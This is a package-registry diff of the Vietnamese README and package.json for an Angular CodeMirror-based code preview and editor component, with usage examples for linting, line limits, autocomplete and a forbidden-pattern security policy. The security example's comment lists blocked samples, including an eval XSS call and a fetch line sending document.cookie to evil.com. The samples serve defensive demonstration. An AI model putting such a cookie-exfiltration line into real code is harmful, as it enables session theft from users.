@libs-ui/components-preview-text-data 0.2.357-7 → 0.2.357-9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/README.md +314 -223
  2. package/package.json +7 -7
package/README.md CHANGED
@@ -62,264 +62,363 @@ import {
62
62
 
63
63
  ## Ví dụ sử dụng
64
64
 
65
- ### 1. Chế độ xem (Read-only) — ẩn thanh công cụ
65
+ ### 1. Chế độ Xem (Read-only)
66
66
 
67
- ```typescript
68
- // my-viewer.component.ts
69
- import { ChangeDetectionStrategy, Component } from '@angular/core';
70
- import { LibsUiComponentsPreviewTextDataComponent } from '@libs-ui/components-preview-text-data';
67
+ Chỉ hiển thị code dưới dạng highlight, ẩn thanh công cụ.
71
68
 
72
- @Component({
73
- selector: 'app-my-viewer',
74
- standalone: true,
75
- changeDetection: ChangeDetectionStrategy.OnPush,
76
- imports: [LibsUiComponentsPreviewTextDataComponent],
77
- template: `
78
- <libs_ui-components-preview_text_data
79
- [content]="configCode"
80
- [langSelected]="'json'"
81
- [hiddenAction]="true"
82
- background="#fcfcfc" />
83
- `,
84
- })
85
- export class MyViewerComponent {
86
- readonly configCode = `{
87
- "projectName": "Libs UI",
88
- "version": "2.0.0",
89
- "features": ["Signals", "CodeMirror", "OnPush"]
90
- }`;
91
- }
69
+ ```html
70
+ <libs_ui-components-preview_text_data
71
+ [content]="readonlyCode"
72
+ [langSelected]="'javascript'"
73
+ [hiddenAction]="true"
74
+ background="#fcfcfc" />
92
75
  ```
93
76
 
94
- ### 2. Chế độ chỉnh sửa với Linter và đổi ngôn ngữ
95
-
96
77
  ```typescript
97
- // sql-editor.component.ts
98
- import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
99
- import {
100
- LibsUiComponentsPreviewTextDataComponent,
101
- IPreviewTextDataChange,
102
- PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT,
103
- } from '@libs-ui/components-preview-text-data';
104
- import { Diagnostic } from '@codemirror/lint';
105
-
106
- @Component({
107
- selector: 'app-sql-editor',
108
- standalone: true,
109
- changeDetection: ChangeDetectionStrategy.OnPush,
110
- imports: [LibsUiComponentsPreviewTextDataComponent],
111
- template: `
112
- <libs_ui-components-preview_text_data
113
- [content]="sqlQuery"
114
- [(langSelected)]="currentLang"
115
- [editable]="true"
116
- [langsAccept]="['sql', 'javascript', 'json']"
117
- (outChange)="handlerChange($event)"
118
- (syntaxErrors)="handlerSyntaxErrors($event)" />
119
-
120
- @if (lintErrors().length) {
121
- <div class="p-3 bg-red-50 text-red-600 text-xs font-mono mt-2 rounded">
122
- Lỗi cú pháp: {{ lintErrors()[0].message }}
123
- </div>
124
- }
125
- `,
126
- })
127
- export class SqlEditorComponent {
128
- readonly currentLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('sql');
129
- readonly lintErrors = signal<Diagnostic[]>([]);
130
- readonly sqlQuery = `SELECT id, name, email
131
- FROM users
132
- WHERE status = 'active'
133
- ORDER BY created_at DESC
134
- LIMIT 50;`;
135
-
136
- handlerChange(event: IPreviewTextDataChange): void {
137
- event.stopPropagation?.();
138
- console.log('Nội dung thay đổi:', event.content, '— ngôn ngữ:', event.language);
139
- }
140
-
141
- handlerSyntaxErrors(errors: Diagnostic[]): void {
142
- this.lintErrors.set(errors);
143
- }
144
- }
78
+ readonly readonlyCode = `/* Standalone Code Preview */
79
+ function checkStandards(component) {
80
+ return component.hasReadme && component.hasDemo ? 'PASSED' : 'PENDING';
81
+ }`;
145
82
  ```
146
83
 
147
- ### 3. IntelliSense với dot-notation (giống IDE)
84
+ ---
148
85
 
149
- ```typescript
150
- // js-intellisense.component.ts
151
- import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
152
- import {
153
- LibsUiComponentsPreviewTextDataComponent,
154
- IPreviewTextDataCompletionItem,
155
- PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT,
156
- } from '@libs-ui/components-preview-text-data';
86
+ ### 2. Chế độ Chỉnh sửa & Linter
157
87
 
158
- @Component({
159
- selector: 'app-js-intellisense',
160
- standalone: true,
161
- changeDetection: ChangeDetectionStrategy.OnPush,
162
- imports: [LibsUiComponentsPreviewTextDataComponent],
163
- template: `
164
- <libs_ui-components-preview_text_data
165
- [content]="starterCode"
166
- [(langSelected)]="lang"
167
- [editable]="true"
168
- [completions]="completions"
169
- background="#fafbfc" />
170
- `,
171
- })
172
- export class JsIntelliSenseComponent {
173
- readonly lang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
88
+ Bật soạn thảo, cho phép đổi ngôn ngữ và kiểm tra lỗi cú pháp thời gian thực.
174
89
 
175
- readonly starterCode = `// Gõ "user." hoặc "config." để xem gợi ý
176
- function process() {
177
- const name = user.
178
- const url = config.
179
- }`;
90
+ ```html
91
+ <div class="flex flex-col gap-4">
92
+ <libs_ui-components-preview_text_data
93
+ [content]="jsonContent"
94
+ [(langSelected)]="editableLang"
95
+ [editable]="true"
96
+ [langsAccept]="['json', 'javascript', 'sql']"
97
+ (syntaxErrors)="onSyntaxErrors($event)" />
180
98
 
181
- readonly completions: IPreviewTextDataCompletionItem[] = [
182
- {
183
- label: 'user',
184
- type: 'variable',
185
- detail: 'object',
186
- info: 'User object — thông tin người dùng hiện tại',
187
- properties: [
188
- { label: 'id', type: 'property', detail: 'number', info: 'Unique user ID' },
189
- { label: 'name', type: 'property', detail: 'string', info: 'Họ và tên đầy đủ' },
190
- { label: 'email', type: 'property', detail: 'string', info: 'Địa chỉ email' },
191
- { label: 'role', type: 'property', detail: "'admin' | 'user'", info: 'Vai trò trong hệ thống' },
192
- { label: 'logout', type: 'method', detail: '() => Promise<void>', info: 'Đăng xuất tài khoản' },
193
- ],
194
- },
195
- {
196
- label: 'config',
197
- type: 'variable',
198
- detail: 'object',
199
- info: 'Application configuration',
200
- properties: [
201
- { label: 'apiUrl', type: 'property', detail: 'string', info: 'Base URL của API server' },
202
- { label: 'timeout', type: 'property', detail: 'number', info: 'Request timeout (ms)' },
203
- { label: 'debug', type: 'property', detail: 'boolean', info: 'Bật debug logging' },
204
- ],
205
- },
206
- ];
207
- }
99
+ @if (linterErrors().length) {
100
+ <div class="p-3 bg-red-50 text-red-600 font-mono text-xs">
101
+ Error: {{ linterErrors()[0].message }}
102
+ </div>
103
+ }
104
+ </div>
208
105
  ```
209
106
 
210
- ### 4. Security policy — chặn pattern nguy hiểm
211
-
212
107
  ```typescript
213
- // secure-editor.component.ts
214
108
  import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
215
- import {
216
- LibsUiComponentsPreviewTextDataComponent,
217
- DEFAULT_SECURITY_PATTERNS,
218
- IPreviewTextDataViolation,
219
- PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT,
220
- } from '@libs-ui/components-preview-text-data';
109
+ import { PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
110
+ import { Diagnostic } from '@codemirror/lint';
221
111
 
222
- @Component({
223
- selector: 'app-secure-editor',
224
- standalone: true,
225
- changeDetection: ChangeDetectionStrategy.OnPush,
226
- imports: [LibsUiComponentsPreviewTextDataComponent],
227
- template: `
228
- <libs_ui-components-preview_text_data
229
- [content]="starterCode"
230
- [(langSelected)]="lang"
231
- [editable]="true"
232
- [forbiddenPatterns]="securityPatterns"
233
- (outViolations)="handlerViolations($event)"
234
- background="#fafbfc" />
235
-
236
- @if (violations().length) {
237
- <div class="p-3 bg-red-50 border border-red-200 rounded mt-2">
238
- <p class="text-sm font-semibold text-red-700 mb-1">
239
- Phát hiện {{ violations().length }} vi phạm bảo mật:
240
- </p>
241
- @for (v of violations(); track v.from) {
242
- <p class="text-xs text-red-600 font-mono">
243
- Dòng {{ v.line }}: "{{ v.matched }}" — vi phạm pattern {{ v.pattern }}
244
- </p>
245
- }
246
- </div>
247
- }
248
- `,
249
- })
250
- export class SecureEditorComponent {
251
- readonly lang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
252
- readonly violations = signal<IPreviewTextDataViolation[]>([]);
253
- readonly securityPatterns = DEFAULT_SECURITY_PATTERNS;
112
+ // [content]="jsonContent" — nội dung JSON mẫu ban đầu
113
+ readonly jsonContent = `{
114
+ "projectName": "Libs UI",
115
+ "version": "1.0.0",
116
+ "features": ["Signals", "CodeMirror", "Standalone"],
117
+ "isBmadCompliant": true
118
+ }`;
254
119
 
255
- readonly starterCode = `// Code thuần không gọi API hay truy cập storage
256
- function calculateTotal(items) {
257
- return items.reduce((sum, item) => sum + item.price * item.qty, 0);
258
- }
259
- // Thử gõ: eval("test") hoặc localStorage.getItem('key')
260
- // → sẽ bị highlight đỏ và chặn paste`;
120
+ // [(langSelected)]="editableLang"ngôn ngữ đang chọn (two-way binding)
121
+ readonly editableLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('json');
261
122
 
262
- handlerViolations(violations: IPreviewTextDataViolation[]): void {
263
- this.violations.set(violations);
264
- }
123
+ // linterErrors() hiển thị lỗi cú pháp đầu tiên bên dưới editor
124
+ readonly linterErrors = signal<Diagnostic[]>([]);
125
+
126
+ // Handler nhận lỗi cú pháp — dùng cho (syntaxErrors)="onSyntaxErrors($event)"
127
+ onSyntaxErrors(errors: Diagnostic[]): void {
128
+ this.linterErrors.set(errors);
265
129
  }
266
130
  ```
267
131
 
268
- ### 5. Chỉ cho phép một ngôn ngữ cố định (không hiển thị dropdown)
132
+ ---
133
+
134
+ ### 3. Nhập code JS/Python (trống, tối thiểu 10 dòng)
135
+
136
+ Màn nhập liệu code editable, chỉ chọn JavaScript hoặc Python, mặc định chưa có dữ liệu, editor cao tối thiểu ~10 dòng.
269
137
 
270
138
  ```html
271
- <!-- Khi langsAccept có đúng 1 phần tử trùng với langSelected → dropdown bị ẩn -->
272
139
  <libs_ui-components-preview_text_data
273
- [content]="jsonData"
274
- [(langSelected)]="lang"
140
+ [content]="''"
141
+ [(langSelected)]="codeInputLang"
275
142
  [editable]="true"
276
- [langsAccept]="['json']" />
143
+ [langsAccept]="['javascript', 'python']"
144
+ [minLines]="10"
145
+ [maxLines]="20" />
277
146
  ```
278
147
 
279
- ### 6. Màn nhập code (min/max số dòng + giới hạn ngôn ngữ)
280
-
281
148
  ```typescript
282
- // component.ts
283
- import { Component, signal } from '@angular/core';
284
- import { LibsUiComponentsPreviewTextDataComponent, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
149
+ import { signal } from '@angular/core';
150
+ import { PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
285
151
 
286
- @Component({
287
- selector: 'app-code-input',
288
- standalone: true,
289
- imports: [LibsUiComponentsPreviewTextDataComponent],
290
- template: `
291
- <libs_ui-components-preview_text_data
292
- [content]="''"
293
- [(langSelected)]="lang"
294
- [editable]="true"
295
- [langsAccept]="['javascript', 'python']"
296
- [minLines]="10"
297
- [maxLines]="20"
298
- [zIndexPopover]="1500" />
299
- `,
300
- })
301
- export class CodeInputComponent {
302
- // Mặc định trống, chỉ cho JS/Python; editor hiện sẵn tối thiểu 10 dòng, vượt 20 dòng → xuất hiện scroll.
303
- readonly lang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
304
- }
152
+ // Mặc định JavaScript, content rỗng, chỉ cho JS/Python.
153
+ // minLines/maxLines do CHÍNH component xử lý (bù dòng trống / cap chiều cao + scroll).
154
+ readonly codeInputLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
305
155
  ```
306
156
 
307
- ### 7. Editor tự fit theo container (min/max-height)
157
+ ---
308
158
 
309
- Thay truyền `minLines`/`maxLines`, bọc editor trong 1 div có `min-height`/`max-height` rồi truyền chính element đó qua `[containerElement]`. Editor tự tính số dòng và snap chiều cao theo container. **Không** dùng chung với `minLines`/`maxLines` (sẽ throw lỗi).
159
+ ### 4. Editor tự fit theo container (min/max-height)
160
+
161
+ Bọc editor trong 1 div đặt `min-height`/`max-height`, truyền element đó qua `[containerElement]`. Editor tự tính số dòng và snap chiều cao theo container. **Không** dùng chung với `minLines`/`maxLines` (sẽ throw lỗi).
310
162
 
311
163
  ```html
312
- <!-- #boxRef là template reference tới div container -->
164
+ <!-- #boxRef là template ref tới div container -->
313
165
  <div #boxRef class="min-h-[120px] max-h-[300px]">
314
166
  <libs_ui-components-preview_text_data
315
167
  [content]="''"
316
- [(langSelected)]="lang"
168
+ [(langSelected)]="codeContainerLang"
317
169
  [editable]="true"
318
170
  [langsAccept]="['javascript', 'python']"
319
171
  [containerElement]="boxRef" />
320
172
  </div>
321
173
  ```
322
174
 
175
+ ```typescript
176
+ import { signal } from '@angular/core';
177
+ import { PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
178
+
179
+ // Bọc editor trong div có min/max-height, truyền chính element đó vào.
180
+ // Editor tự tính & snap số dòng theo container (CẤM dùng cùng minLines/maxLines).
181
+ readonly codeContainerLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
182
+ ```
183
+
184
+ ---
185
+
186
+ ### 5. JavaScript — IntelliSense với Object có sẵn
187
+
188
+ Gõ tên object (user, config, db) rồi nhấn "." để xem gợi ý properties/methods như IDE.
189
+
190
+ ```html
191
+ <libs_ui-components-preview_text_data
192
+ [content]="jsStarterCode"
193
+ [(langSelected)]="jsAutocompleteLang"
194
+ [editable]="true"
195
+ [completions]="jsCompletions"
196
+ background="#fafbfc" />
197
+ ```
198
+
199
+ ```typescript
200
+ import { signal } from '@angular/core';
201
+ import { IPreviewTextDataCompletionItem, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
202
+
203
+ // [content]="jsStarterCode" — code mẫu gợi ý gõ "user.", "config.", "db." để xem autocomplete
204
+ readonly jsStarterCode = `function printUserInfo() {
205
+ const userName = user.
206
+ const baseUrl = config.
207
+ return db.
208
+ }`;
209
+
210
+ // [(langSelected)]="jsAutocompleteLang"
211
+ readonly jsAutocompleteLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
212
+
213
+ // [completions]="jsCompletions" — danh sách object/property gợi ý IntelliSense
214
+ readonly jsCompletions: IPreviewTextDataCompletionItem[] = [
215
+ {
216
+ label: 'user',
217
+ type: 'variable',
218
+ detail: 'object',
219
+ properties: [
220
+ { label: 'id', type: 'property', detail: 'number' },
221
+ { label: 'name', type: 'property', detail: 'string' },
222
+ { label: 'email', type: 'property', detail: 'string' },
223
+ { label: 'role', type: 'property', detail: "'admin'|'user'" },
224
+ { label: 'logout', type: 'method', detail: '() => Promise<void>' },
225
+ ],
226
+ },
227
+ {
228
+ label: 'config',
229
+ type: 'variable',
230
+ detail: 'object',
231
+ properties: [
232
+ { label: 'apiUrl', type: 'property', detail: 'string' },
233
+ { label: 'timeout', type: 'property', detail: 'number' },
234
+ { label: 'debug', type: 'property', detail: 'boolean' },
235
+ ],
236
+ },
237
+ // ... object "db" tương tự (host, port, query(), connect(), transaction()...)
238
+ ];
239
+ ```
240
+
241
+ ---
242
+
243
+ ### 6. JavaScript — IntelliSense lồng nhiều cấp (nested)
244
+
245
+ Gõ path nhiều cấp như `app.user.profile.address.` rồi nhấn "." — gợi ý đi sâu vào từng cấp object lồng nhau.
246
+
247
+ ```html
248
+ <libs_ui-components-preview_text_data
249
+ [content]="jsDeepStarterCode"
250
+ [(langSelected)]="jsDeepAutocompleteLang"
251
+ [editable]="true"
252
+ [completions]="jsDeepCompletions"
253
+ background="#fafbfc" />
254
+ ```
255
+
256
+ ```typescript
257
+ import { signal } from '@angular/core';
258
+ import { IPreviewTextDataCompletionItem, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
259
+
260
+ // [content]="jsDeepStarterCode" — gõ path nhiều cấp (vd: app.user.profile.address.) rồi nhấn "."
261
+ readonly jsDeepStarterCode = `function buildUserCard() {
262
+ const ctx = app.
263
+ const avatar = app.user.profile.
264
+ const lat = app.user.profile.address.geo.
265
+ return app.services.auth.
266
+ }`;
267
+
268
+ // [(langSelected)]="jsDeepAutocompleteLang"
269
+ readonly jsDeepAutocompleteLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
270
+
271
+ // [completions]="jsDeepCompletions" — Object lồng nhiều cấp, mỗi cấp lồng có 'properties' riêng.
272
+ // Gõ "app." → user, config, services
273
+ // Gõ "app.user.profile.address." → city, country, geo
274
+ readonly jsDeepCompletions: IPreviewTextDataCompletionItem[] = [
275
+ {
276
+ label: 'app',
277
+ type: 'variable',
278
+ detail: 'AppContext',
279
+ properties: [
280
+ {
281
+ label: 'user',
282
+ type: 'property',
283
+ detail: 'User',
284
+ properties: [
285
+ { label: 'id', type: 'property', detail: 'number' },
286
+ { label: 'name', type: 'property', detail: 'string' },
287
+ {
288
+ label: 'profile',
289
+ type: 'property',
290
+ detail: 'Profile',
291
+ properties: [
292
+ { label: 'avatar', type: 'property', detail: 'string' },
293
+ { label: 'bio', type: 'property', detail: 'string' },
294
+ {
295
+ label: 'address',
296
+ type: 'property',
297
+ detail: 'Address',
298
+ properties: [
299
+ { label: 'city', type: 'property', detail: 'string' },
300
+ { label: 'country', type: 'property', detail: 'string' },
301
+ {
302
+ label: 'geo',
303
+ type: 'property',
304
+ detail: 'GeoPoint',
305
+ properties: [
306
+ { label: 'lat', type: 'property', detail: 'number' },
307
+ { label: 'lng', type: 'property', detail: 'number' },
308
+ ],
309
+ },
310
+ ],
311
+ },
312
+ ],
313
+ },
314
+ ],
315
+ },
316
+ // ...config, services tương tự (mỗi cấp có 'properties' riêng)
317
+ ],
318
+ },
319
+ ];
320
+ ```
321
+
322
+ ---
323
+
324
+ ### 7. Python — IntelliSense với Class/Object
325
+
326
+ Gõ tên object (config, request, logger) rồi nhấn "." để xem gợi ý như IDE Python.
327
+
328
+ ```html
329
+ <libs_ui-components-preview_text_data
330
+ [content]="pyStarterCode"
331
+ [(langSelected)]="pyAutocompleteLang"
332
+ [editable]="true"
333
+ [completions]="pyCompletions"
334
+ background="#fafbfc" />
335
+ ```
336
+
337
+ ```typescript
338
+ import { signal } from '@angular/core';
339
+ import { IPreviewTextDataCompletionItem, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
340
+
341
+ // [content]="pyStarterCode" — code mẫu gợi ý gõ "config.", "request.", "logger."
342
+ readonly pyStarterCode = `def handle_request():
343
+ server = config.
344
+ data = request.
345
+ logger.
346
+ return server`;
347
+
348
+ // [(langSelected)]="pyAutocompleteLang"
349
+ readonly pyAutocompleteLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('python');
350
+
351
+ // [completions]="pyCompletions"
352
+ readonly pyCompletions: IPreviewTextDataCompletionItem[] = [
353
+ {
354
+ label: 'config',
355
+ type: 'class',
356
+ detail: 'class Config',
357
+ properties: [
358
+ { label: 'host', type: 'property', detail: 'str' },
359
+ { label: 'port', type: 'property', detail: 'int' },
360
+ { label: 'debug', type: 'property', detail: 'bool' },
361
+ { label: 'to_dict', type: 'method', detail: '() -> dict' },
362
+ ],
363
+ },
364
+ // ... object "request" tương tự (method, url, headers, json()...)
365
+ {
366
+ label: 'logger',
367
+ type: 'variable',
368
+ detail: 'Logger',
369
+ properties: [
370
+ { label: 'info', type: 'method', detail: '(msg: str) -> None' },
371
+ { label: 'error', type: 'method', detail: '(msg: str) -> None' },
372
+ { label: 'warning', type: 'method', detail: '(msg: str) -> None' },
373
+ ],
374
+ },
375
+ ];
376
+ ```
377
+
378
+ ---
379
+
380
+ ### 8. Security Policy — Forbidden Patterns
381
+
382
+ Chặn người dùng gõ hoặc paste mã vi phạm bảo mật (`[forbiddenPatterns]`). Highlight đỏ ngay tại chỗ vi phạm, chặn paste, phát ra `(outViolations)`.
383
+
384
+ ```html
385
+ <libs_ui-components-preview_text_data
386
+ [content]="securityStarterCode"
387
+ [(langSelected)]="securityLang"
388
+ [editable]="true"
389
+ [forbiddenPatterns]="defaultSecurityPatterns"
390
+ (outViolations)="onSecurityViolations($event)"
391
+ background="#fafbfc" />
392
+ ```
393
+
394
+ ```typescript
395
+ import { signal } from '@angular/core';
396
+ import { DEFAULT_SECURITY_PATTERNS, IPreviewTextDataViolation, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
397
+
398
+ // [content]="securityStarterCode" — code mẫu, có hàm an toàn và gợi ý pattern bị chặn (comment)
399
+ readonly securityStarterCode = `function calculateTotal(items) {
400
+ return items.reduce((sum, item) => sum + item.price * item.qty, 0);
401
+ }
402
+ // Thử GÕ hoặc PASTE — sẽ bị highlight đỏ / chặn paste:
403
+ // eval("alert('xss')")
404
+ // fetch('https://evil.com/steal?data=' + document.cookie)`;
405
+
406
+ // [(langSelected)]="securityLang"
407
+ readonly securityLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
408
+
409
+ // [forbiddenPatterns]="defaultSecurityPatterns" — bộ pattern cấm mặc định của thư viện
410
+ readonly defaultSecurityPatterns = DEFAULT_SECURITY_PATTERNS;
411
+
412
+ // (outViolations) — danh sách vi phạm phát ra mỗi khi nội dung thay đổi
413
+ readonly securityViolations = signal<IPreviewTextDataViolation[]>([]);
414
+
415
+ onSecurityViolations(violations: IPreviewTextDataViolation[]): void {
416
+ this.securityViolations.set(violations);
417
+ }
418
+ ```
419
+
420
+ > ⚠️ **Chỉ cho phép một ngôn ngữ cố định**: Khi `[langsAccept]` có đúng 1 phần tử trùng với `langSelected` → dropdown chọn ngôn ngữ tự động bị ẩn (computed `acceptChangeLang = false`).
421
+
323
422
  ## @Input()
324
423
 
325
424
  | Input | Type | Default | Mô tả | Ví dụ |
@@ -489,14 +588,6 @@ Các pattern được chặn:
489
588
 
490
589
  ⚠️ **Cleanup tự động**: Component tự hủy EditorView instance và xóa cache ngôn ngữ khi bị destroy (qua `DestroyRef`). Không cần thao tác cleanup thủ công từ phía consumer.
491
590
 
492
- ## Demo
493
-
494
- ```bash
495
- npx nx serve core-ui
496
- ```
497
-
498
- Truy cập: http://localhost:4500/preview-text-data
499
-
500
591
  ## Unit Tests
501
592
 
502
593
  ```bash
package/package.json CHANGED
@@ -1,23 +1,23 @@
1
1
  {
2
2
  "name": "@libs-ui/components-preview-text-data",
3
- "version": "0.2.357-7",
3
+ "version": "0.2.357-9",
4
4
  "peerDependencies": {
5
5
  "@angular/core": ">=18.0.0",
6
6
  "@babel/parser": ">=7.0.0",
7
7
  "globals": ">=13.0.0",
8
- "@libs-ui/components-buttons-button": "0.2.357-7",
9
- "@libs-ui/components-dropdown": "0.2.357-7",
10
- "@libs-ui/services-notification": "0.2.357-7",
11
- "@libs-ui/utils": "0.2.357-7",
8
+ "@libs-ui/components-buttons-button": "0.2.357-9",
9
+ "@libs-ui/components-dropdown": "0.2.357-9",
10
+ "@libs-ui/services-notification": "0.2.357-9",
11
+ "@libs-ui/utils": "0.2.357-9",
12
12
  "@codemirror/autocomplete": "6.20.2",
13
13
  "@codemirror/language": "6.12.3",
14
14
  "@codemirror/lint": "6.9.1",
15
15
  "@codemirror/state": "6.6.0",
16
16
  "@codemirror/view": "6.38.6",
17
17
  "@lezer/common": "1.5.2",
18
- "@libs-ui/components-list": "0.2.357-7",
18
+ "@libs-ui/components-list": "0.2.357-9",
19
19
  "codemirror6": "npm:codemirror@6.0.2",
20
- "@libs-ui/services-http-request": "0.2.357-7",
20
+ "@libs-ui/services-http-request": "0.2.357-9",
21
21
  "@codemirror/lang-javascript": "6.2.4",
22
22
  "@codemirror/lang-html": "6.4.11",
23
23
  "@codemirror/lang-css": "6.3.1",